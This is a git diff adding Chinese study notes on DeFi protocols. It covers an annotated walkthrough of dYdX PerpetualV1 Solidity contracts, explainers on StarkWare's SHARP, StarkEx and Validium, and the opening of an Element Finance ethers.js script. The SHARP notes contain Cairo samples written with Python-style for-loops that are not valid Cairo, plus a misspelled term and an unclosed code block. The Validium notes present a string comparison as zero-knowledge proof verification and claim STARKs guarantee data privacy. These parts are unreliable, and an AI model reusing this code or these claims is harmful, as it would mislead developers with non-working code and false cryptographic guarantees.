+        hasAccountPermissions(account, msg.sender), // 自己 | Global管理 | 自己管理
+        "sender does not have permission to withdraw"
+    );
+    // 先结算Funding  然后返回当前状态 [价格、最小抵押物限制、funding]
+    P1Types.Context memory context = _loadContext();
+    // 结算账户的资金费率，返回最新的Balance
+    P1Types.Balance memory balance = _settleAccount(context, account);
+    // 转出保证金
+    SafeERC20.safeTransfer(
+        IERC20(_TOKEN_),
+        destination,
+        amount
+    );
+    // 扣除Margin
+    balance.subFromMargin(amount);
+    // 写入
+    _BALANCES_[account] = balance;
+    require(
+        _isCollateralized(context, balance), // 检查抵押品状态
+        **"account not collateralized"
+    );
+    emit LogWithdraw(
+        account,
+        destination,
+        amount,
+        balance.toBytes32()
+    );
+}`
+```
+
+## （二）Trade
+
+```
+**1、入参**
+
+`参数1：address[] memory accounts
+本次交易中用到的账户列表，必须按照从小到大排列
+参数2：TradeArg[] memory trades
+struct TradeArg {
+    uint256 takerIndex; // 参数1的Index
+    uint256 makerIndex; // 参数2的Index
+    address trader; // 交换需要调用的 合约地址 【trade、liquidate、deleverage】
+    bytes data; // 需要的数据
+}`
+
+**2、调用逻辑**
+
+全局结算 - 账户结算 - 执行每一个Trade - 最终状态检查
+
+`执行Trade
+// 调用trader.trade
+P1Types.TradeResult memory tradeResult = I_P1Trader(tradeArg.trader).trade(
+    msg.sender,
+    maker,
+    taker,
+    context.price, // 价格
+    tradeArg.data,
+    traderFlags // 1-交换 2-清算 4-去杠杆 （去杠杆必须是0，也就是去杠杆只能在头部交易）
+);
+// 返回的数据
+struct TradeResult { // Trade以后返回的结构
+    uint256 marginAmount;
+    uint256 positionAmount;
+    bool isBuy; // Taker的方向  True-taker开多
+    bytes32 traderFlags; // 1-交易 2-清算 4-去杠杆
+}
+// 根据返回的数据结算给 taker和maker的账户
+if (tradeResult.isBuy) { // Taker是买（开多）
+    // Maker 增加Margin
+    makerBalance.addToMargin(tradeResult.marginAmount);
+    // Maker 减少Position
+    makerBalance.subFromPosition(tradeResult.positionAmount);
+    // Taker 减少Margin
+    takerBalance.subFromMargin(tradeResult.marginAmount);
+    // Taker 增加Position
+    takerBalance.addToPosition(tradeResult.positionAmount);
+} else {
+    makerBalance.subFromMargin(tradeResult.marginAmount);
+    makerBalance.addToPosition(tradeResult.positionAmount);
+    takerBalance.addToMargin(tradeResult.marginAmount);
+    takerBalance.subFromPosition(tradeResult.positionAmount);
+}
+// 检查逻辑（检查参与交易的所有账户）
+```
+
+1、要么账户满足抵押率
+2、如果账户不满足抵押率，必须满足 
+[仓位大小没有增加+仓位方向未变+抵押率没有恶化]`
+
+## （三）Admin
+
+可调用方法
+
+1、设定全局Operator
+
+2、设定价格预言机
+
+3、设定资金费率
+
+4、设定抵押率限制参数
+
+5、开启最终结束结算状态
+
+## （四）Traders（撮合）
+
+**1、P1Orders**
+
+根据Order 和 Fill  计算好 两方需要相互划转的保证金和仓位，并返回结果
+
+```
+// 逻辑步骤
+// 确权 - 验签 - 参数验证 - 交换 - 返回结果
+// 订单结构
+// Hash(Order) 验证签名
+struct Order { // Maker的信息
+    bytes32 flags; //  0x0 .. 00 1 1 1    [交易方向、是否只能平仓、手续费方向] 
+    uint256 amount;
+    uint256 limitPrice;
+    uint256 triggerPrice; // 0  2000 开多  
+    uint256 limitFee; // maker收费 0.01%
+    address maker;
+    address taker; // address（0）
+    uint256 expiration;
+}
+hash(Order) - filledAmount
+maker的Balance-position > 0
+0 - maker 开空的
+1 - maker amount <= Balance-position
+// 本次交易信息
+struct Fill {
+    uint256 amount;
+    uint256 price;
+    uint256 fee; // 基于1Positin的费用（费用和Position同币种）
+    bool isNegativeFee; // 手续费方向（必须和Order中Flag信息对应）
+}
+// data解析
+struct TradeData {
+    Order order; // Maker订单
+    Fill fill; // 完成情况
+    TypedSignature.Signature signature; // 签名  （和hash(order）=== maker地址）
+}
+// 检查
+if (taker != sender) {
+    require(
+        P1Getters(perpetual).hasAccountPermissions(taker, sender),
+        "Sender does not have permissions for the taker"
+    );
+}
+```
+
+**2、P1Liquidation**
+
+清算仓位，并计算得到 应该划转的保证金和仓位数量，并返回
+
+`// 逻辑步骤
+// 确权（调用地址、调用者） - 参数验证 - 确定数量 - 返回结果
+// Data 解码
+struct TradeData {
+    uint256 amount;
+    bool isBuy; 
+    bool allOrNothing; 
+}`
+
+**3、P1Deleveraging**
+
+去杠杆操作，Maker仓位净值是0才可以操作，Taker去吃Maker的亏损订单
+
+`// 确权 - Flag检查 - 调用者确权 - 参数验证 - 确定数量 - 返回结果
+struct TradeData {
+    uint256 amount;
+    bool isBuy;
+    bool allOrNothing;
+}
+// 任何人都可以mark一个水下的订单
+function mark( // 标记
+    address account
+)
+    external
+{
+    // 判断是否在水下
+    require(
+        _isAccountUnderwater(account),
+        "Cannot mark since account is not underwater"
+    );
+    // 记录时间
+    _MARKED_TIMESTAMP_[account] = block.timestamp;
+    emit LogMarkedForDeleveraging(account);
+}
+Mark订单，在15分钟后任何人都可以进行去杠杆操作
+可能是用于大额交易，无需拆分成多个订单，就算水下 也许有优势`
+
+## （五）预言机
+
+**预言机价格仅用于 资金费率计算 和 判定是否可以清算**
+
+**1、P1FundingOracle**
+
+- 完全根据配置的Rate * 时间 计算Funding的数量；
+- Owner权限可以修改Rate配置
+
+`// 可配置的Rate
+P1Types.Index private _FUNDING_RATE_; // 包含了大小和方向信息
+// Owner权限修改Rate
+function setFundingRate(
+    SignedMath.Int calldata newRate
+)
+    external
+    returns (P1Types.Index memory)
+{
+    require(
+        msg.sender == _FUNDING_RATE_PROVIDER_,
+        "The funding rate can only be set by the funding rate provider"
+    );
+    SignedMath.Int memory boundedNewRate = _boundRate(newRate);
+    P1Types.Index memory boundedNewRateWithTimestamp = P1Types.Index({
+        timestamp: block.timestamp.toUint32(),
+        isPositive: boundedNewRate.isPositive,
+        value: boundedNewRate.value.toUint128()
+    });
+    _FUNDING_RATE_ = boundedNewRateWithTimestamp;
+    emit LogFundingRateUpdated(boundedNewRateWithTimestamp.toBytes32());
+    return boundedNewRateWithTimestamp;
+}
+// Perp合约在结算时调用，传入过去的时间
+// 直接时间 * Rate 计算出Funding的数量
+function getFunding( // 根据过去的时间计算资金费率
+    uint256 timeDelta
+)
+    public
+    view
+    returns (bool, uint256)
+{
+    // Note: Funding interest in PerpetualV1 does not compound, as the interest affects margin
+    // balances but is calculated based on position balances.
+    P1Types.Index memory fundingRate = _FUNDING_RATE_;
+    uint256 fundingAmount = uint256(fundingRate.value).mul(timeDelta);
+    return (fundingRate.isPositive, fundingAmount);
+}`
+
+**2、P1ChainlinkOracle**
+
+- 从Chainlink获取价格；
+- 需要提前配置到合约上
+
+`// Perp合约 - 配置文件  uint256(uint160+uint96)  预言机地址 + 价格扩大的指数大小
+mapping (address => bytes32) public _MAPPING_;
+// 获取价格方法
+function getPrice()
+    external
+    view
+    returns (uint256)
+{
+    // 找到预言机地址 和 指数信息
+    bytes32 oracleAndExponent = _MAPPING_[msg.sender];
+    require(
+        oracleAndExponent != bytes32(0),
+        "P1ChainlinkOracle: Sender not authorized to get price"
+    );
+    // 找到预言机地址 和 指数信息
+    (address oracle, uint256 adjustment) = getOracleAndAdjustment(oracleAndExponent);
+    // 预言机最新结果
+    int256 answer = I_Aggregator(oracle).latestAnswer();
+    require(
+        answer > 0,
+        "P1ChainlinkOracle: Invalid answer from aggregator"
+    );
+    uint256 rawPrice = uint256(answer);
+    // 价格 / 1E18 * 10 ** 指数
+    return rawPrice.baseMul(adjustment);
+}`
+
+**3、P1MakerOracle**
+
+`// Perp合约地址 对应的 预言机地址
+mapping(address => address) public _ROUTER_;
+// 需要调整的指数信息 例如   1E18
+mapping(address => uint256) public _ADJUSTMENTS_;
+// 找到地址，读取价格，根据指数调整后返回
+function getPrice()
+    external
+    view
+    returns (uint256)
+{
+    // get the oracle address to read from
+    address oracle = _ROUTER_[msg.sender];
+    // revert if no oracle found
+    require(
+        oracle != address(0),
+        "Sender not authorized to get price"
+    );
+    // get adjustment or default to 1
+    uint256 adjustment = _ADJUSTMENTS_[oracle];
+    if (adjustment == 0) {
+        adjustment = BaseMath.base();
+    }
+    // get the adjusted price
+    uint256 rawPrice = uint256(I_MakerOracle(oracle).read());
+    uint256 result = rawPrice.baseMul(adjustment);
+    // revert if invalid price
+    require(
+        result != 0,
+        "Oracle would return zero price"
+    );
+    return result;
+}`
+
+## （六）其他模块
+
+**1、P1CurrencyConverterProxy**
+
+ERC20 带交换功能的 增减保证金
+
+**2、P1LiquidatorProxy**
+
+- 清算入口
+- 无需本金的清算，账户可以是新开启的；
+- 清算得到的钱，会计算利润，在利润中收取一部分佣金转到配置的合约；
+- 清算人得到的是仓位（需要自行平仓）；
+
+`function liquidate(
+    address liquidatee,
+    address liquidator,
+    bool isBuy, // 方向
+    SignedMath.Int calldata maxPosition // 清算人愿意清算的最大量
+)
+    external
+    returns (uint256)`
+
+**3、P1SoloBridgeProxy**
+
+Perp和Solo的转移
+
+**4、P1WethProxy**
+
+原生代币处理的 增减保证金
+
+## （七）未看合约
+
+- Inverse相关的：P1InverseOrders、P1InverseFundingOracle；
+- 几个没有 getPrice接口的预言机：P1MirrorOracleETHUSD；
+
+# 二、重要计算逻辑
+
+## （一）是否满足抵押率
+
+**抵押率Ok：Positive部分 >= Negative部分*系数**
+
+**underWarter：Negative > Positive**
+```
+`// 系数
+// Admin   setMinCollateral  方法可修改 
+uint256 internal _MIN_COLLATERAL_;
+function _isCollateralized(
+    P1Types.Context memory context, // [价格、最小抵押品、index]
+    P1Types.Balance memory balance //
+)
+    internal
+    pure
+    returns (bool)
+{
+    // 根据Margin和Position的正负
+    // 开空的人 position为负数  开多的人 position为正数
+    // 已抵押品为单位，扩大了1E18
+    (uint256 positive, uint256 negative) = balance.getPositiveAndNegativeValue(context.price);
+    // 正的部分 必须满足大于 负的部分 * 系数
+    return positive.mul(BaseMath.base()) >= negative.mul(context.minCollateral);
+}`
+```
+
+## （二）撮合逻辑
+
+计算出撮合结果，Margin和Postion增减的数量
+
+然后分别更改Taker和Maker的 Margin和Positon
+```
+
+`if (tradeResult.isBuy) { // Taker为开多
+    // Maker 增加Margin
+    makerBalance.addToMargin(tradeResult.marginAmount);
+    // Maker 减少Position
+    makerBalance.subFromPosition(tradeResult.positionAmount);
+    // Taker 减少Margin
+    takerBalance.subFromMargin(tradeResult.marginAmount);
+    // Taker 增加Position
+    takerBalance.addToPosition(tradeResult.positionAmount);
+} else { // Taker 为开空 相反操作
+    makerBalance.subFromMargin(tradeResult.marginAmount);
+    makerBalance.addToPosition(tradeResult.positionAmount);
+    takerBalance.addToMargin(tradeResult.marginAmount);
+    takerBalance.subFromPosition(tradeResult.positionAmount);
+}`
+```
+
+## （三）资金费率逻辑
+
+1、全局资金费率
+```
+`// 数据结构
+struct Index {
+    uint32 timestamp; // 结算时间
+    bool isPositive; // 方向
+    uint128 value; // 值
+}
+// 方法
+function _loadContext()
+// 逻辑
+uint256 timeDelta = block.timestamp.sub(index.timestamp); // 距离上次的结算时间
+调用 FUNDER合约的 getFunding方法 得到 funding的数值和方向
+// 具体方法
+根据存储的 _FUNDING_RATE_ 里面的数值  计算funding
+**funding = rate * 时间**_FUNDING_RATE_  可以修改，有权限的可以调用修改
+function getFunding( // 根据过去的时间计算资金费率
+    uint256 timeDelta
+)
+    public
+    view
+    returns (bool, uint256)
+{
+    // Note: Funding interest in PerpetualV1 does not compound, as the interest affects margin
+    // balances but is calculated based on position balances.
+    P1Types.Index memory fundingRate = _FUNDING_RATE_;
+    uint256 fundingAmount = uint256(fundingRate.value).mul(timeDelta);
+    return (fundingRate.isPositive, fundingAmount);
+}`
+
+2、个人资金费率
+
+`// 数据结构 同全局
+struct Index {
+    uint32 timestamp; // 结算时间
+    bool isPositive; // 方向
+    uint128 value; // 值
+}
+// 计算资金费率的margin变动方法
+// 根据index的方向和开仓方向相同，付出资金费率；反之收取资金费率
+deltaMargin = (newValue - oldValue) * position`
+```
+
+
+## （四）停止状态的结算逻辑
+
+计算用户仓位对应的数量 - 取出最大可取的值 - 修改用户Balance（如有没取的记录在抵押品数量）
+```
+`function withdrawFinalSettlement()
+    external
+    onlyFinalSettlement
+    nonReentrant
+{
+    // Load the context using the final settlement price.
+    P1Types.Context memory context = P1Types.Context({
+        price: _FINAL_SETTLEMENT_PRICE_,
+        minCollateral: _MIN_COLLATERAL_,
+        index: _GLOBAL_INDEX_
+    });
+    // Apply funding changes.
+    // 结算账户的资金费率，返回最新的Balance
+    P1Types.Balance memory balance = _settleAccount(context, msg.sender);
+    // Determine the account net value.
+    // `positive` and `negative` are base values with extra precision.
+    (uint256 positive, uint256 negative) = P1BalanceMath.getPositiveAndNegativeValue(
+        balance,
+        context.price
+    );
+    // No amount is withdrawable.
+    // 资不抵债
+    if (positive < negative) {
+        return;
+    }
+    // Get the account value, which is rounded down to the nearest token amount.
+    // 账户还剩几个钱
+    uint256 accountValue = positive.sub(negative).div(BaseMath.base());
+    // Get the number of tokens in the Perpetual Contract.
+    // 抵押品数量
+    uint256 contractBalance = IERC20(_TOKEN_).balanceOf(address(this));
+    // Determine the maximum withdrawable amount.
+    // 可取
+    uint256 amountToWithdraw = Math.min(contractBalance, accountValue);
+    // Update the user's balance.
+    // 记录可取Margin
+    uint120 remainingMargin = accountValue.sub(amountToWithdraw).toUint120();
+    balance = P1Types.Balance({
+        marginIsPositive: remainingMargin != 0,
+        positionIsPositive: false,
+        margin: remainingMargin,
+        position: 0
+    });
+    _BALANCES_[msg.sender] = balance;
+    // Send the tokens.
+    // 转移
+    SafeERC20.safeTransfer(
+        IERC20(_TOKEN_),
+        msg.sender,
+        amountToWithdraw
+    );
+    // Emit the log.
+    emit LogWithdrawFinalSettlement(
+        msg.sender,
+        amountToWithdraw,
+        balance.toBytes32()
+    );
+}
+```
+StarkEx采用的是有效性证明。
+
+## StarkEX
+
+
+这种“数据不上链+有效性证明”的方案称为Validium。（不同于“数据上链”型的Rollup方案，比如另一知名项目的Arbitrum）。
+
+
+
+## 参考链接
+- https://help.dydx.exchange/en/articles/4320633-why-should-someone-use-the-perpetual-vs-margin  永续跟杠杆差别
+- https://docs.dydx.community/dydx-governance/jiao-yi-jiao-cheng/ru-he-zai-dydx-shang-kai-kong-dan-zuo-kong/ru-he-zai-dydx-shang-kai-duo-dan-zuo-duo 操作文档  
+- https://www.chainnews.com/articles/669485806574.htm Validium介绍
+- https://www.chainnews.com/articles/906891466719.htm  全景式解读加密货币衍生品交易赛道  
+- https://mp.weixin.qq.com/s/VF4JGW-XG3drUAelKbYySA  橙皮书dydx保证金交易原理介绍
+- https://www.chainnews.com/articles/609351382358.htm dydx保证金  
diff --git a/defi/DYDX/shard.md b/defi/DYDX/shard.md
new file mode 100644
index 000000000..98cf44125
--- /dev/null
+++ b/defi/DYDX/shard.md
@@ -0,0 +1,230 @@
+# SHARP（Shared Prover）技术概述
+
+SHARP 是 StarkWare 开发的一种共享证明服务，旨在为多个应用生成有效性证明。它基于 STARK（Scalable Transparent Argument of Knowledge）技术，提供高效、安全的零矩矢证明。
+
+## **工作原理**
+
+SHARP 的主要功能是接收来自不同应用的证明请求，并生成相应的 STARK 证明。其工作流程如下：
+
+1. **接收请求**：应用程序将交易数据和执行结果发送至 SHARP。
+2. **生成证明**：SHARP 使用 Cairo 语言编写的程序，对数据进行处理，生成 STARK 证明。
+3. **提交证明**：将生成的证明提交到以太坊主网，由链上合约验证其有效性。
+
+## **技术细节**
+
+### **Cairo 语言**
+SHARP 使用 Cairo 编写验证逻辑。Cairo 是一种图灵完备的编程语言，专为生成高效的 STARK 证明而设计。它允许开发者定义复杂的业务逻辑，同时保持高效的证明生成能力。
+
+### **STARK 证明**
+- **高扩展性**：支持批量处理大量交易，显著提升吞吐量。
+- **透明性**：不需要可信设置，任何人都可以验证其有效性。
+- **量子安全**：对抗量子计算攻击提供更高的安全保障。
+
+## **优势**
+
+- **共享性**：SHARP 可同时为多个应用生成证明，提高计算资源利用率。
+- **高效性**：通过批量处理交易，显著降低单个应用的计算成本。
+- **安全性**：利用 STARK 技术，确保交易数据的隐私和完整性。
+
+## **应用场景**
+
+SHARP 广泛应用于高扩展性和高安全性需求的场景，包括：
+- 去中心化交易所
+- 支付系统
+- 区块链游戏
+
+## **参考资料**
+
+- [解析StarkWare的架构与生态：估值80亿美元的扩展潜力](https://zhuanlan.zhihu.com/p/530091142)
+- [万字拆解 StarkWare：80 亿美元的「以太坊扩展最佳团队」是否高估？](https://web3caff.com/zh/archives/18842)
+
+---
+
+## **Cairo 示例代码**
+
+### 验证单个计算加密逻辑
+
+以下是一个简单的 Cairo 程序，用于验证输入是否是某个数的平方。
+
+```cairo
+%builtins output
+
+func main{output_ptr : felt*}():
+    let x = 3
+    let y = 9
+    assert x * x = y  # 验证 y 是否为 x 的平方
+    return ()
+end
+```
+
+### **代码解释**：
+- **%builtins output**: 声明 Cairo 程序所需的内容构件。
+- **assert 语句**: 验证 `x` 的平方是否等于 `y`。
+
+---
+
+### 批量验证逻辑
+
+以下展示了一个批量处理交易验证的 Cairo 示例：
+
+```cairo
+%builtins range_check
+
+from starkware.cairo.common.serialize import serialize_word
+
+func validate_transactions{range_check_ptr}(transactions: felt*, n: felt) -> (result: felt):
+    alloc_locals
+    local sum = 0
+    for i in range(n):
+        let transaction = [transactions + i]
+        assert transaction > 0  # 确保交易金额为正
+        let sum = sum + transaction
+    end
+    return (sum)
+end
+
+func main{range_check_ptr}():
+    let (result) = validate_transactions([5, 10, 15], 3)
+    serialize_word(result)  # 输出验证结果
+    return ()
+end
+```
+
+### **代码解释**：
+- **validate_transactions**：验证多个交易并计算总和。
+- **assert 语句**：确保每笔交易的金额为正。
+- **serialize_word**：序列化输出验证结果。
+
+
+### 批量验证并生成响应的加密哈希
+
+以下示例显示如何为批量处理交易生成加密哈希：
+
+```cairo
+%builtins range_check pedersen
+
+from starkware.cairo.common.pedersen_hash import pedersen
+
+func hash_transactions{range_check_ptr, pedersen_ptr}(transactions: felt*, n: felt) -> (hash: felt):
+    alloc_locals
+    local hash = 0
+    for i in range(n):
+        let transaction = [transactions + i]
+        assert transaction > 0
+        let hash = pedersen(hash, transaction)  # 将交易金额加入哈希
+    end
+    return (hash)
+end
+
+func main{range_check_ptr, pedersen_ptr}():
+    let transactions = [5, 10, 15]
+    let n = 3
+    let (result) = hash_transactions(transactions, n)
+    return ()
+end
+```
+
+
+## **Solidity 合约示例**
+
+以下是与 StarkEx 系统交互的 Solidity 合约，用于验证 STARK 证明。
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IStarkVerifier {
+    function verifyProof(bytes calldata proof, uint256[] calldata publicInputs) external returns (bool);
+}
+
+contract StarkProofVerifier {
+    IStarkVerifier public starkVerifier;
+
+    constructor(address _verifier) {
+        starkVerifier = IStarkVerifier(_verifier);
+    }
+
+    function verifyTransactionProof(bytes memory proof, uint256[] memory inputs) public view returns (bool) {
+        return starkVerifier.verifyProof(proof, inputs);
+    }
+}
+
+### **批量验证交易的 Solidity 合约**
+
+以下扩展了批量验证功能，允许验证多个 STARK 证明：
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IStarkVerifier {
+    function verifyProof(bytes calldata proof, uint256[] calldata publicInputs) external returns (bool);
+}
+
+contract BatchStarkProofVerifier {
+    IStarkVerifier public starkVerifier;
+
+    constructor(address _verifier) {
+        starkVerifier = IStarkVerifier(_verifier);
+    }
+
+    function verifyBatchProofs(bytes[] memory proofs, uint256[][] memory inputs) public view returns (bool[] memory) {
+        require(proofs.length == inputs.length, "Mismatched inputs and proofs length");
+
+        bool[] memory results = new bool[](proofs.length);
+        for (uint256 i = 0; i < proofs.length; i++) {
+            results[i] = starkVerifier.verifyProof(proofs[i], inputs[i]);
+        }
+        return results;
+    }
+}
+```
+
+### **代码解释**：
+- **批量验证方法**：`verifyBatchProofs` 接收多个证明和输入数组，依次验证每个证明。
+- **输入长度验证**：确保证明和输入的数组长度一致。
+- **返回值**：返回一个布尔数组，每个布尔值对应一个证明的验证结果。
+
+---
+
+## **链下与链上交互示例**
+
+以下展示了如何将链下生成的 STARK 证明提交至链上验证。
+
+### **链下 Python 示例**：
+
+```python
+from starkware.crypto.signature.fast_pedersen_hash import pedersen_hash
+from starkware.starknet.services.api.gateway.transaction import InvokeFunction
+
+def generate_proof_and_inputs(transactions):
+    # 计算交易的哈希值
+    hash_value = 0
+    for tx in transactions:
+        assert tx > 0  # 验证交易金额
+        hash_value = pedersen_hash(hash_value, tx)
+
+    # 模拟生成 STARK 证明（伪代码）
+    proof = "mock_proof_data"
+    public_inputs = [hash_value]
+    return proof, public_inputs
+
+# 示例交易数据
+transactions = [5, 10, 15]
+proof, public_inputs = generate_proof_and_inputs(transactions)
+
+# 提交到链上的交易示例
+invoke_tx = InvokeFunction(
+    contract_address="0xVerifierContractAddress",
+    entry_point_selector="verifyTransactionProof",
+    calldata=[proof, *public_inputs]
+)
+```
+
+### **链上 Solidity 合约交互**：
+
+```solidity
+// 提交验证交易
+contractAddress.verifyTransactionProof(proof, publicInputs);
+```
+
diff --git a/defi/DYDX/starkex.md b/defi/DYDX/starkex.md
new file mode 100644
index 000000000..0099a5dee
--- /dev/null
+++ b/defi/DYDX/starkex.md
@@ -0,0 +1,39 @@
+dYdX 为了提升交易性能和降低成本，采用了 StarkWare 开发的 StarkEx 作为其二层扩展方案。StarkEx 提供了更高效的交易处理能力，与其他扩展方案相比，其利用零知识证明技术的独特优势包括更低的 gas 费用和更高的扩展性。
+
+**StarkEx 技术架构**
+
+StarkEx 利用 STARK（Scalable Transparent Argument of Knowledge）技术，为 dYdX 提供高效的交易处理能力。其核心组件包括：
+
+- **StarkEx 服务（StarkEx Service）**：处理用户的交易请求，并将其打包成批次，提升交易吞吐量。
+- **SHARP（SHARed Prover）**：为每个交易批次生成有效性证明，确保交易的真实性和数据隐私。
+- **Stark 验证器（Stark Verifier）**：在以太坊主网上验证这些证明的有效性，确保链上状态的准确性。
+- **Stark 合约（Stark Contract）**：在链上管理状态更新，保障整个系统的安全性和一致性。
+
+用户的交易首先由 StarkEx Service 处理，随后 SHARP 生成相应的有效性证明。Stark Verifier 验证该证明后，Stark Contract 在以太坊主网上更新状态，从而实现快速且安全的交易处理。
+
+**StarkEx 合约**
+
+StarkEx 的合约设计涵盖多个模块，用于处理存款、取款和状态更新：
+
+- **Deposits.sol**：管理用户存款的合约模块，用于将资产从 L1 转移到 StarkEx 系统。
+  [查看代码](https://github.com/starkware-libs/starkex-contracts/blob/StarkExchange-v4.5/scalable-dex/contracts/src/interactions/Deposits.sol)
+- **Withdrawals.sol**：负责处理用户从 StarkEx 系统提取资产到 L1 的逻辑。
+  [查看代码](https://github.com/starkware-libs/starkex-contracts/blob/StarkExchange-v4.5/scalable-dex/contracts/src/interactions/Withdrawals.sol)
+- **UpdateState.sol**：核心合约模块之一，用于执行状态更新操作，支持高效的批量交易验证。
+  [查看代码](https://github.com/starkware-libs/starkex-contracts/blob/StarkExchange-v4.5/scalable-dex/contracts/src/starkex/interactions/UpdateState.sol)
+  
+updateState 函数示例：
+```solidity
+updateState(uint256[] publicInput, uint256[] applicationData)
+```
+此函数通过接收公共输入和应用数据，完成系统状态的更新。
+
+**实际应用示例**
+
+- 在 dYdX 平台上执行交易时，用户资金被转入 **L2 Perpetual Smart Contract** 中。例如：
+  [转账交易示例](https://dashboard.tenderly.co/tx/mainnet/0x8ea3a15828fb5814091d3fc246920228c1c1480086f467978fe357f5bf3a2ac4?trace=0.8.1.1.0.7)
+- 交易完成后，状态更新操作的执行记录可在以太坊区块链上验证：
+  [状态确认交易](https://etherscan.io/tx/0x7985593db99c33fa851a196bd8b374221c6063fc654278c9d85d163c29dbcb06)
+
+更多关于 dYdX 和 StarkEx 的细节可以参考其 [状态仪表盘](https://dydx.l2beat.com/)，了解实时数据与合约交互记录。
+
diff --git a/defi/DYDX/validium.md b/defi/DYDX/validium.md
new file mode 100644
index 000000000..b26d052a1
--- /dev/null
+++ b/defi/DYDX/validium.md
@@ -0,0 +1,128 @@
+### **Validium 详解**
+
+**Validium** 是一种扩展解决方案，属于第二层（Layer 2）扩展技术，通过将大部分数据存储移出链，同时使用零知识证明（ZK-Proofs）保证安全性。Validium 旨在在不牺牲安全性的前提下，极大提高区块链网络的可扩展性和交易速度。
+
+---
+
+### **Validium 与 Rollup 的对比**
+
+| 特性                  | Validium                                  | Rollup                                   |
+|-----------------------|-------------------------------------------|------------------------------------------|
+| **数据存储位置**     | 链下（Off-Chain）                          | 链上（On-Chain）                         |
+| **扩展性**           | 更高，支持数千 TPS                        | 相对较低                                 |
+| **安全性**           | 基于零知识证明，信任模型取决于数据可用性 | 基于零知识或欺诈证明，完全链上验证       |
+| **成本**             | 更低，Gas 费用少                          | 相对较高                                 |
+| **主要用途**         | 高频交易、支付网络                        | DeFi 应用，如交易所、借贷协议            |
+
+---
+
+### **Validium 的核心原理**
+
+1. **链下数据存储**  
+   在 Validium 中，交易数据存储在链下的服务器或分布式数据库中，而不是直接写入区块链。
+
+2. **零知识证明（ZK-Proof）**  
+   Validium 使用 zk-SNARK 或 zk-STARK 技术生成证明，链下数据的合法性由这些证明来验证。
+
+3. **数据可用性保证**  
+   虽然数据存储在链下，但零知识证明确保数据的完整性和正确性，且数据可用性由多个节点维护。
+
+---
+
+### **JavaScript 实现零知识证明的示例**
+
+我们可以用 JavaScript 来模拟 Validium 的基本验证逻辑，假设交易数据存储在链下，同时生成和验证零知识证明。
+
+#### **1. 安装 `snarkjs`**
+
+`snarkjs` 是一个流行的零知识证明库，支持 zk-SNARK 生成和验证。
+
+```bash
+npm install snarkjs
+```
+
+#### **2. 模拟交易验证过程**
+
+```javascript
+const snarkjs = require("snarkjs");
+
+(async () => {
+    // 链下交易数据 (模拟)
+    const offChainData = {
+        sender: "Alice",
+        receiver: "Bob",
+        amount: 100
+    };
+
+    // 假设的零知识证明生成函数
+    function generateProof(transaction) {
+        // 这里我们用简单逻辑模拟证明生成过程
+        return {
+            proof: `proof-of-${transaction.sender}-to-${transaction.receiver}-${transaction.amount}`,
+            publicSignals: [transaction.sender, transaction.receiver, transaction.amount]
+        };
+    }
+
+    // 假设的验证函数
+    function verifyProof(proof, expectedSignals) {
+        // 检查生成的 proof 和提供的 publicSignals 是否匹配
+        const isValid = proof.publicSignals.every(
+            (value, index) => value === expectedSignals[index]
+        );
+
+        return isValid ? "Proof is valid" : "Proof is invalid";
+    }
+
+    // 生成零知识证明
+    const proof = generateProof(offChainData);
+
+    console.log("Generated Proof:", proof);
+
+    // 验证零知识证明
+    const result = verifyProof(proof, ["Alice", "Bob", 100]);
+    console.log("Verification Result:", result);
+})();
+```
+
+#### **输出结果**
+```bash
+Generated Proof: { proof: 'proof-of-Alice-to-Bob-100', publicSignals: [ 'Alice', 'Bob', 100 ] }
+Verification Result: Proof is valid
+```
+
+---
+
+### **Validium 在 DYDX 中的应用**
+
+DYDX 交易平台采用 Validium 技术，通过 StarkWare 的 StarkEx 系统实现：
+- **链下存储用户账户余额和交易历史**，提高了吞吐量和交易速度。
+- **链上验证零知识证明**，确保交易数据的正确性和一致性。
+
+---
+
+### **Validium 的优势**
+
+1. **高扩展性**  
+   Validium 支持每秒数千甚至数万笔交易，非常适合高频交易场景。
+
+2. **低成本**  
+   由于链上存储和计算需求减少，交易成本显著降低。
+
+3. **数据隐私**  
+   数据存储在链下，用户交易数据不会公开，提高隐私性。
+
+---
+
+### **适用场景**
+
+- **高频交易平台**：如 DYDX 等去中心化交易所。
+- **支付网络**：处理大量小额快速支付。
+- **NFT 市场**：高频铸造、交易和转移 NFT。
+
+---
+
+### **参考链接**
+
+- [Validium 技术介绍](https://www.chainnews.com/articles/669485806574.htm)  
+- [StarkWare 官网](https://starkware.co/)  
+- [snarkjs 官方文档](https://github.com/iden3/snarkjs)  
\ No newline at end of file
diff --git a/defi/Element/element-interaction.js b/defi/Element/element-interaction.js
new file mode 100644
index 000000000..c55a5f9c0
--- /dev/null
+++ b/defi/Element/element-interaction.js
@@ -0,0 +1,235 @@
+const { ethers } = require('ethers');
+
+const config = {
+  // 提供者配置 - 连接到以太坊网络
+  provider: new ethers.providers.JsonRpcProvider('https://mainnet.infura.io/v3/YOUR_INFURA_KEY'),
+  // 钱包配置 - 使用私钥创建钱包实例
+  wallet: null, // 需要设置: new ethers.Wallet('YOUR_PRIVATE_KEY', provider),
+  // 合约地址
+  addresses: {
+    dai: '0x6B175474E89094C44Da98b954EedeAC495271d0F', // DAI 代币地址
+    tranche: '', // Element Tranche 合约地址
+    principalToken: '', // PT 代币地址
+    amm: '', // Element AMM 地址
+    baseAsset: '' // 基础资产地址
+  },
+  // ABI 配置
+  abis: {
+    erc20: [
+      'function approve(address spender, uint256 amount) external returns (bool)',
+      'function balanceOf(address account) external view returns (uint256)'
+    ],
+    tranche: [
+      'function deposit(uint256 amount, address recipient) external',
+      'function unlockTimestamp() external view returns (uint256)',
+      'function redeemPrincipal(uint256 amount, address recipient) external'
+    ],
+    amm: [
+      'function getAmountOut(uint256 amountIn, address tokenIn, address tokenOut) external view returns (uint256)',
+      'function swap(address tokenIn, address tokenOut, uint256 amountIn, uint256 minAmountOut, address recipient) external returns (uint256)'
+    ]
+  }
+};
+
+// 合约实例
+let contracts = {};
+
+/**
+ * 初始化合约实例
+ */
+async function initContracts() {
+  // 确保钱包已配置
+  if (!config.wallet) {
+    throw new Error('请先配置钱包');
+  }
+
+  // 初始化合约实例
+  contracts.dai = new ethers.Contract(config.addresses.dai, config.abis.erc20, config.wallet);
+  contracts.tranche = new ethers.Contract(config.addresses.tranche, config.abis.tranche, config.wallet);
